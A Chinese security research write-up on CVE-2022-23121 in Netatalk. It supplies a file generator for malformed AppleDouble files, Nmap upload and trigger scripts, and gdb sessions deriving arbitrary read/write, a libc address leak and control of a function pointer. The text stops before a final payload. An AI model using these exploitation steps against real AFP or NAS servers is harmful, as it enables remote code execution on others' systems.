CVE-2022-23121 Netatalk 遠程代碼執行漏洞深入分析
聲明:本篇文章由 可可@QAX CERT 原創,僅用于技術研究,不恰當使用會造成危害,嚴禁違法使用 ,否則后果自負。
一、Netatalk介紹
Netatalk 是一個 Apple Filing Protocol (AFP) 的開源實現。它為 Unix 風格系統提供了與 Macintosh 文件共享的功能。多款NAS產品均有集成該功能。
二、漏洞簡介
Netatalk在處理FPOpenFork命令的時候,由于未檢查AppleDouble文件頭中的偏移是否超出范圍,導致攻擊者可以通過控制AppleDouble文件的某些偏移,在內存中進行越界讀寫,通過該漏洞攻擊者可以啟動Netatalk的用戶權限執行任意命令。
三、Appledouble文件
Appledouble文件格式文檔可在下面鏈接下載,AppleDouble文件是mac上一種存儲數據的格式,AppleDouble文件可分為文件頭和數據部分,文件頭格式如下,對于每個Entry來說,數據在文件內的范圍可表示為:[offset:offset+length]
Field Length Magic number 4 bytes Version number 4 bytes Filler 16 bytes Number of entries 2 bytes Entry descriptor for each entry: Entry ID 4 bytes Offset 4 bytes Length 4 bytes
以下是一個有效的Appledouble文件,包含兩個entry
entry 1
- entry ID:0x09
- offset:0x32
- length:0x71
entry 2
- entry ID:0x02
- offset:0xA3
- length:0x46

https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf
四、如何生成有效的AppleDouble文件觸發漏洞
在https://nosec.org/home/detail/4997.html 中keeee師傅分享了如何通過xattr庫生成appledouble文件,這里為了方便生成所需文件對keeee師傅的方法進行魔改。
首先安裝 xattr-file和minimist庫:
npm install xattr-file npm install minimist
在node_modules目錄內找到xattr-file.js文件,修改creat方法,為其添加接受各種偏移的接口,大致如下:
function create(attrs, resoLength, findoff, findlen, forkoff, forklen) { ......
var finderInfoOffset = findoff == -1 ? applLength : findoff var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen var resourceForkOffset = forkoff == -1 ? fileLength : forkoff var resourceForkLength = forklen == -1 ? resoLength : forklen
生成xattr文件的nodejs腳本:
var xattr = require("xattr-file");const args = require('minimist')(process.argv.slice(2))const fs = require('fs')
var fp = './'var origname = 'read'// resource fork data 部分:
var buffer2 = Buffer.from("a".repeat(0x12))var buffer3 = Buffer.from("a".repeat(0x34))
console.log(Buffer.concat([ buffer2, buffer3]).length) // 打印的 resource fork data 長度。
resoLength = Buffer.concat([buffer2, buffer3]).lengthvar findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])// 如果name為空則為readvar name = args["name"] == undefined ? origname : args["name"]
console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)
var buffer = xattr.create({ "com.example.Attribute": "my data"}, resoLength, findoff, findlen, forkoff, forklen);
var buffer4 = Buffer.concat([buffer, buffer2, buffer3])fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => { if (err) { console.error(err) return } else { console.log("success write file, file path: " + fp + '._' + name) } //文件寫入成功。})
fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => { if (err) { console.error(err) return } else { console.log("success write file, file path: " + fp + name) } //文件寫入成功。})
fs.chmod(fp+ name, 0o777, () => { console.log("change " + fp+ name + " mode")})
fs.chmod(fp + '._' + name, 0o777, () => { console.log("change " + fp + '._' + name + " mode")})
如何將文件上傳到服務器
生成文件后,為了更貼合實際漏洞利用場景,即生成有效AppleDouble文件后通過AFP客戶端上傳到AFP服務器,這里借鑒Nmap自帶的afp的lua庫,編寫我們自己的上傳NSE腳本。
在Nmap中原生包含了afp-ls的NSE腳本,其引用的lua庫afp.lua內含有我們通過AFP協議上傳文件需要的接口WriteFile,在上傳文件的NSE腳本中調用該接口即可

在scripts目錄下新建afp-upfile.nse文件,將afp-ls.nse內容粘貼進去,去掉列出文件邏輯的代碼,之后編寫lua代碼,讀取文件,將文件內容傳給afp.lua內的WriteFile函數即可,最終如下:
......action = function(host, port) -- 這里和afp-ls的邏輯一樣
local msg local uploadpath = args["uploadpath"] local filepath = args["filepath"] local poc = io.open(filepath,"r") local data = poc:read("*all") poc:close() status, msg = afpHelper:WriteFile(uploadpath, data) status, response = afpHelper:Logout() status, response = afpHelper:CloseSession() return data end returnend
利用該腳本,可以通過nmap上傳文件到afp服務器
nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip
五、漏洞成因
libatalk/adouble/ad_open.c#parse_entries 函數為Nettatalk解析buf內的數據到自定義的結構體,通過讀取buf內對應offset的數據到傳入的ad指針指向的adouble結構體的某些成員內,完成對相應值的設置,其中buf數據來自讀取的._filename的文件。在循環中將buf首地址加上某個offset中的數據通過memcpy函數拷貝到ad指向的adouble結構體變量內,在循環內含有一個if判斷,當處于以下情況時,parse_entries 會返回-1并且打印警告日志
eid > ADEID_MAX,ADEID_MAX=20off>sizeof(ad->ad_data)- eid不等于2并且此時的entry的偏移和數據長度相加大于1024
即通過控制文件內的數據,我們可以控制adouble結構體內的entry的off+len+buf超過buf的邊界,正常流程中adouble結構體內的entry的off+len+buf不應該越過buf邊界。
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries){ uint32_t eid, len, off; int ret = 0; /* now, read in the entry bits */ for (; nentries > 0; nentries-- ) { memcpy(&eid, buf, sizeof( eid )); eid = get_eid(ntohl(eid)); buf += sizeof( eid ); memcpy(&off, buf, sizeof( off )); off = ntohl( off ); buf += sizeof( off ); memcpy(&len, buf, sizeof( len )); len = ntohl( len ); buf += sizeof( len );
ad->ad_eid[eid].ade_off = off; ad->ad_eid[eid].ade_len = len;
if (!eid || eid > ADEID_MAX || off >= sizeof(ad->ad_data) || ((eid != ADEID_RFORK) && (off + len > sizeof(ad->ad_data)))) // ADEID_RFORK { ret = -1; LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u", (uint)eid, (uint)off, (uint)len); } }
return ret;}
// adouble 定義struct adouble {...... char ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024};
在代碼里,在以下幾處函數中有調用parse_entries 函數
ad_header_readad_header_read_osxad_header_read_ea
在三處函數中,只有libatalk/adouble/ad_open.c#ad_header_read_osx函數調用parse_entries函數時,即使parse_entries返回-1,該函數不會return也不會進入異常處理流程,僅僅是通過日志記錄,繼續執行而不報錯。
if (parse_entries(&adosx, buf, nentries) != 0) { LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble", path ? fullpathname(path) : ""); }
之后ad_header_read_osx 會讀取adouble結構體內的偏移,判斷finderinfo的entry len是否等于32,不等于則進入if內,并調用libatalk/adouble/ad_open.c#ad_convert_osx 函數

在ad_convert_osx 函數中會讀取ad指針指向的adouble結構體內的entry結構的off和len偏移并調用memmove函數進行內存復制,此偏移恰好是parse_entries 函數從文件讀取并賦值的偏移。
static int ad_convert_osx(const char *path, struct adouble *ad){...... origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); if (map == MAP_FAILED) { LOG(log_error, logtype_ad, "mmap AppleDouble: %s", strerror(errno)); EC_FAIL; }
memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK)); (void)ad_rebuild_adouble_header_osx(ad, map); munmap(map, origlen);
六、分析函數調用鏈
通過doxygen+graphviz繪制函數調用鏈圖(https://www.cnblogs.com/realjimmy/p/12892179.html),從圖中可以看出完整的函數調用鏈為:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

而ad_open函數所在的libatalk目錄內的代碼會被編譯為libatalk.so,最終被afpd服務使用,在afpd 代碼中,由etc/afpd/fork.c#afp_openfork 調用libatalk/adouble/ad_open.c#ad_open函數。

int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen){ ..... /* First ad_open(), opens data or ressource fork */ if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {.....
在libatalk/adouble/ad_open.c#ad_open 函數中,當請求內設置了ADFLAGS_RF這個flag才會調用ad_open_rf函數
if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2 if (ad_open_rf(path, adflags, mode, ad) != 0) { EC_FAIL; }}
七、觸發漏洞流程
想要觸發該漏洞,必須要了解到afpd服務如何處理客戶端請求,以便構造請求執行到漏洞代碼處。
啟動Netatalk的服務端afpd服務后,在afpd的main函數入口處初始化一些變量、加載AFP配置、監聽端口等。
int main(int ac, char **av){ struct sigactionsv; sigset_t sigs; int ret;...... if (afp_config_parse(&obj, "afpd") != 0)..... obj.options.save_mask = umask(obj.options.umask);...... while (1) { ....... for (int i = 0; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) {
case LISTEN_FD: if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) { ..... kill(child->afpch_pid, SIGKILL); } } break; ......}
之后進入while循環,調用 etc/afpd/main.c#dsi_start,dsi_start 調用dsi_getsession ,在dsi_getsession中調用dsi->proto_open 函數指針,實際指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children){ afp_child_t *child = NULL;
if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) { ...... }
/* we've forked. */ if (child == NULL) { configfree(obj, dsi); afp_over_dsi(obj); /* start a session */ exit (0); }
return child;}
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){ // 設置、初始化變量等操作,通過fork函數創建子進程 switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */......}
dsi_tcp_open函數接收來自客戶端的連接,通過fork函數創建子進程
static pid_t dsi_tcp_open(DSI *dsi){ pid_t pid; SOCKLEN_T len;
len = sizeof(dsi->client); dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len); ...... if (0 == (pid = fork()) ) { /* child */ ...... }
/* send back our pid */ return pid;}
返回到dsi_getsession函數中,當fork返回的pid為0時,即當前進程為子進程則跳出switch結構,進入處理DSI數據的邏輯,當返回的pid不為0也不為-1時,即當前進程為父進程,則返回到dsi_start函數。
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){ // 設置、初始化變量等操作 switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */ case -1: ...... case 0: // 如果是子進程則直接退出switch,進入處理DSI數據的邏輯 break; default: //如果是父進程則返回到dsi_start函數 ...... dsi->proto_close(dsi); *childp = child; return 0; } .... switch (dsi->header.dsi_command) { // 根據dsi命令執行不同動作 case DSIFUNC_STAT: /* send off status and return */ ..... case DSIFUNC_OPEN: /* setup session */ /* set up the tickle timer */ dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval; dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0; dsi_opensession(dsi); *childp = NULL; return 0;
default: /* just close */ LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command); dsi->proto_close(dsi); exit(EXITERR_CLNT); }}
之后回到dsi_start函數中,如果當前進程為父進程則返回到main函數中的while循環中,等待客戶端的連接。如果當前進程為子進程則調用afp_over_dsi函數處理AFP數據,根據不同的AFP命令調用全局變量afp_switch[]內的不同函數指針進行處理
void afp_over_dsi(AFPObj *obj){ ...... /* get stuck here until the end */ while (1) { ...... cmd = dsi_stream_receive(dsi);...... switch(cmd) { case DSIFUNC_CLOSE: ...... case DSIFUNC_TICKLE: ...... case DSIFUNC_CMD:......function = (u_char) dsi->commands[0]; /* send off an afp command. in a couple cases, we take advantage * of the fact that we're a stream-based protocol. */ if (afp_switch[function]) { dsi->datalen = DSI_DATASIZ; dsi->flags |= DSI_RUNNING;
LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function)); err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen);
...... }
/* error */ afp_dsi_die(EXITERR_CLNT);}
afp_switch被preauth_switch初始化,里面只有少量函數指針,而在postauth_switch中含有大量函數指針,推測為經過身份驗證后afp_switch被postauth_switch賦值
static AFPCmd preauth_switch[] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,/* 0 - 7 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,/* 8 - 15 */ NULL, NULL, afp_login, afp_logincont, afp_logout, NULL, NULL, NULL,/* 16 - 23 */ .....};
AFPCmd *afp_switch = preauth_switch;
AFPCmd postauth_switch[] = { NULL, afp_bytelock, afp_closevol, afp_closedir, afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/* 0 - 7 */ afp_delete, afp_enumerate, afp_flush, afp_flushfork, afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/* 8 - 15 */ afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont, afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/* 16 - 23 */ afp_openvol, afp_opendir, afp_openfork, afp_read, afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams, /* 24 - 31 */ afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams, afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */ afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch, afp_null, afp_null, afp_null, afp_null,/* 40 - 47 */ afp_opendt, afp_closedt, afp_null, afp_geticon, afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/* 48 - 55 */ afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,......};
static int set_auth_switch(const AFPObj *obj, int expired){ ...... afp_switch = postauth_switch;
在函數調用鏈中,afp_openfork在afp_switch的下標為26,同時26也可以在AFP數據包內看到:

調用總結
總結以上觸發流程,觸發到afp_openfork函數需要AFP數據包內Command字段值為26同時需要設置ADFLAGS_RF 這個flag,觸發漏洞鏈條為:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries。
函數調用圖如下:

如何發送FPOpenFork請求
前面說過在nmap中含有afp相關的腳本,在nmap自帶的lua庫afp.lua中含有讀取文件相關的函數,調用之,最終nse腳本如下,需要注意的是,在FPOpenFork請求中必須設置ADFLAGS_RF 這個flag才會觸發到漏洞函數邏輯,在nmap自帶的afp.lua的ReadFile函數中,該flag寫死為0,需要修改為0x2,請求中的ADFLAGS_RF 才會被設置。
action = function(host, port)-- 和afp-ls邏輯一樣
local str_path = args["path"]
local content status, content = afpHelper:ReadFile(str_path) status, response = afpHelper:Logout() status, response = afpHelper:CloseSession()
return content
end returnend

文件內應該包含什么
在函數調用鏈中的ad_header_read_osx 函數中,有備注Read an ._ file, only uses the resofork, finderinfo is taken from EA ,該函數只會使用resofork 和finderinfo 這兩種entry,所以在生成觸發該漏洞的文件時只需要包含這兩種entry即可。
八、環境搭建
這里使用Netatalk 3.1.11版本搭建
- 系統版本 Ubuntu 1804
- 內核版本
root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- libc版本 libc-2.31.so
Netatalk編譯
apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev libdb-devwget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2tar -xjf netatalk-3.1.11.tar.bz2cd netatalk-3.1.11.tar.bz2mkdir buildexport CFLAGS='-g -O0' # 保留調試符號,方便調試./configure \ --with-init-style=debian-systemd \ --without-libevent \--without-tdb \--with-cracklib \--enable-krbV-uam \--enable-debug \--with-pam-confdir=/etc/pam.d \--with-dbus-daemon=/usr/bin/dbus-daemon \--with-dbus-sysconf-dir=/etc/dbus-1/system.d \--with-tracker-pkgconfig-version=1.0 \--prefix=`pwd`/build \--bindir=`pwd`/build/bin \--sbindir=`pwd`/build/sbin makemake install
Netatalk配置
mkdir /tmp/afp_tmp/mkdir /tmp/afp_tmp/Publicmkdir /tmp/afp_tmp/test echo test > /tmp/afp_tmp/test/test.txtecho hello > /tmp/afp_tmp//Public/hello.txtchmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test/tmp/afp_tmp/afp.conf:[ Global ]uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.sosave password = nounix charset = UTF8use sendfile = yeszeroconf = noguest account = nobody [ Public ] path =/tmp/afp_tmp/Publicea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users = [ test ] path = /tmp/afp_tmp/testea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users =
參考:
https://nosec.org/home/detail/4997.html
九、調試
在AFPD中,由子進程負責處理AFP請求,父進程則循環接受客戶端的請求,所以這里只需要調試子進程即可,為了方便調試,編寫了如下腳本,至于為什么設置條件斷點b ad_open.c:1894 if adflags & 2 != 0 在后文說明。
t.shgdb -x debug.gdb attach `ps -ef | grep afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`
debug.gdbset follow-fork-mode childset detach-on-fork offset schedule-multiple onb ad_open.c:1894 if adflags & 2 != 0cb ad_open.c:617b ad_open.c:605
啟動AFPD服務
./afpd -d -F /tmp/afp_tmp/afpd.conf./cnid_metad -d -F /tmp/afp_tmp/afpd.conf
十、為什么要設置條件斷點
將前面生成的appledouble文件通過nmap腳本上傳到afp服務器,通過nmap腳本請求該文件觸發該漏洞
如果斷點沒有設置if adflags & 2 != 0 這個條件則gdb會直接斷在ad_open.c:1894,此時請求內ADFLAGS_RF 值為0,不能進入漏洞邏輯,而由于斷點,afp無法及時回復nmap數據包,nmap會報超時。

繼續執行的話,afpd會收到SIGALRM信號,無法進入漏洞邏輯

十一、正常調試
上傳的._read文件到test目錄:

觸發漏洞,進入parse_entries函數內,parse_entries讀取buf里面的數據到ad指向的adouble結構體中。

最終adouble結構體內entry成員變量被設置為如下值,可以看出finderinfo entry內的off已經越界了:

而正常appledouble文件內,每個entry.ade_off+entry.ad_len相加應該小于文件大小,在上圖中第九個entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,這個偏移也可以從文件內體現,此時finderinfo的off已越界,此時已經控制了adouble.entry.off。

十二、如何利用entry內的越界
前面寫到,parse_entries函數可以將adouble結構體內的entry的off和len相加大于文件大小,如果某個地方讀取了這個off和len并作為offset讀寫數據則可能產生越界讀寫。
繼續看ad_header_read_osx調用parse_entries之后的邏輯,在parse_entries中如果程序發現off+len越界則會返回-1,如果ad指向的adouble結構體內的finderinfo entry的ade_len不等于32則進入if邏輯內,調用到ad_convert_osx函數。

在ad_convert_osx函數中,程序將appledouble文件映射到內存中,此時對文件映射的內存的讀寫即是對該文件的讀寫。ad_convert_osx函數映射之后調用了memmove和ad_rebuild_adouble_header_osx函數,之后通過munmap函數取消映射,將內存中的數據寫入文件內。
mmap的長度參數origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)即ad.ADEID_RFORK.off + ad.ADEID_RFORK.len 都為可控值
static int ad_convert_osx(const char *path, struct adouble *ad){ ...... origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); ...... memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK));
. (void)ad_rebuild_adouble_header_osx(ad, map); munmap(map, origlen);......}#define ad_getentrylen(ad,eid) ((ad)->ad_eid[(eid)].ade_len)long ad_getentryoff(const struct adouble *ad, int eid){ if (ad->ad_vers == AD_VERSION2) return ad->ad_eid[eid].ade_off;
switch (eid) { case ADEID_DFORK: return 0; case ADEID_RFORK:#ifdef HAVE_EAFD return 0;#else return ad->ad_eid[eid].ade_off;#endif default: return ad->ad_eid[eid].ade_off; } /* deadc0de */ AFP_PANIC("What am I doing here?");}
mmap之后文件已映射到內存中,在經過多次測試后,當resource fork length + resource fork offset ≤1000 時會mmap分配的內存在ld.sodata段上面。


任意寫
仔細看調用memmove時的參數,map為文件映射到內存的首地址,ad_getentryoff為獲取指定entry id的entry的off,ADEDLEN_FINDERI為宏定義值為32=0x20,而我們可以控制各個entry的off和len,通過該處調用,即我們可以從map + ad.ADEID_RFORK.off處讀取任意長度的數據寫入到任何高于map+0x20的內存(前提是該地址可寫)也就是將文件中ad.ADEID_RFORK.off 處的數據寫入該內存,而ad.ADEID_FINDERI.off和ad.ADEID_RFORK.off都為可控值,即可達到任意寫。
memmove(map + ad.ADEID_FINDERI.off + 0x20, map + ad.ADEID_RFORK.off, ad.ADEID_RFORK.len);
任意讀
任意讀發生在任意寫的后面的函數調用,在ad_rebuild_adouble_header_osx 函數中有如下語句,該語句將ad.ad_data+ad.ADEID_FINDERI.off 處開始長為0x20的數據寫入到adbuf+ADEDOFF_FINDERI_OSX中,ADEDOFF_FINDERI_OSX為宏定義,展開后可得值為26+2*12=50=0x32,而adbuf為mmap映射后返回的內存地址,該處語句將數據寫入到mmap映射的內存偏移0x32的位置。
#define ad_entry(ad,eid) ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf){ ...... memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
#define ADEDOFF_FINDERI_OSX (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)#define AD_HEADER_LEN (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */#define ADEID_NUM_OSX 2#define AD_ENTRY_LEN 12 /* size of a single entry header */
在調用完ad_rebuild_adouble_header_osx 函數后,程序調用munmap函數取消文件映射,內存內的數據會被寫回到appledouble文件中,綜合有:可以將ad.ad_data+ad.ADEID_FINDERI.off 處開始長為0x20的數據寫入到文件偏移0x32處的地方,此時可以通過讀取文件獲取任意讀的內存的內容。

組合利用
在內存中ad指向的結構體是存放在棧上的,分配的adouble結構體地址位于ad_header_read_osx棧幀的rbp-0x620處,可以用調試器測算和__libc_start_main_ret的地址

gef? bt#0 0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0 "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698#1 0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80 "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488#2 0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80 "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529#3 0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80 "read", adflags=0x283) at ad_open.c:1895#4 0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 , ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364#5 0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 ) at afp_dsi.c:627#6 0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 , dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474#7 0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417gef? i frame 7Stack frame at 0x7ffcf6e36ee0: rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083 caller of frame at 0x7ffcf6e36d80 source language c. Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0 Saved registers: rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8gef? p &adosx.ad_data$11 = (char (*)[1024]) 0x7ffcf6e36522gef? p 0x7ffcf6e36ed8 - 0x7ffcf6e36522$12 = 0x9b6
任意讀是讀取ad.ad_data+ad.ADEID_FINDERI.off 處長為0x20的數據,而ad.ad_data 距離__libc_start_main_ret為0x9b6,所以可以設置ad.ADEID_FINDERI.off 為0x9b6以獲取__libc_start_main_ret地址。利用腳本構造文件并利用NSE腳本上傳到服務器

通過命令觸發該漏洞、

__libc_start_main_ret地址已經回顯在文件內

驗證地址:

在https://libc.rip 上驗證libc版本:


通過__libc_start_main_ret地址可以測算system函數地址
gef? p 0x7f6242e51083 - 0x24083 + 0x52290$14 = 0x7f6242e7f290gef? p system$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>gef?
至此,我們得到了system函數地址,那么如何利用這個地址呢?
Netatalk每次收到客戶端請求都是fork子進程處理該請求,父進程繼續監聽socket,而fork的子進程內存空間和父進程內存空間的內容一樣即libc庫載入的地址不變,所以可以先發送請求通過任意讀獲取到system函數地址,第二次發送請求時,由于父進程不變所以system函數地址不變,通過任意寫的system函數地址不變,才能達到命令執行的效果。
正是因為fork后,內存空間不變的機制才能利用任意讀獲取到system函數地址,而后通過任意寫覆蓋函數指針達到命令執行的效果。
在Netatalk執行過程中,程序出錯不會立即退出而是會捕獲異常,通過任意寫,寫入了ld.so的數據段,觸發錯誤,導致了如下崩潰:

gef? bt#0 0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786#1 0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96#2 0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208#3 0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227#4 0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 ) at dl-libc.c:46#5 __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195#6 0x00007efeac6acfb9 in init () at backtrace.c:54#7 0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 , init_routine=0x7efeac6acfa0 ) at pthread_once.c:116#8 0x00007efeac6ad104 in __GI___backtrace (array=, size=) at backtrace.c:111#9 0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147#12 #13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0 "._cmd", ad=0x7ffd9f279540) at ad_open.c:617#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0 "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80 "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80 "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80 "cmd", adflags=0x283) at ad_open.c:1895#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 , ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 ) at afp_dsi.c:627#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 , dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417
可以看到,程序試圖調用位于0x4141414141414000處的函數
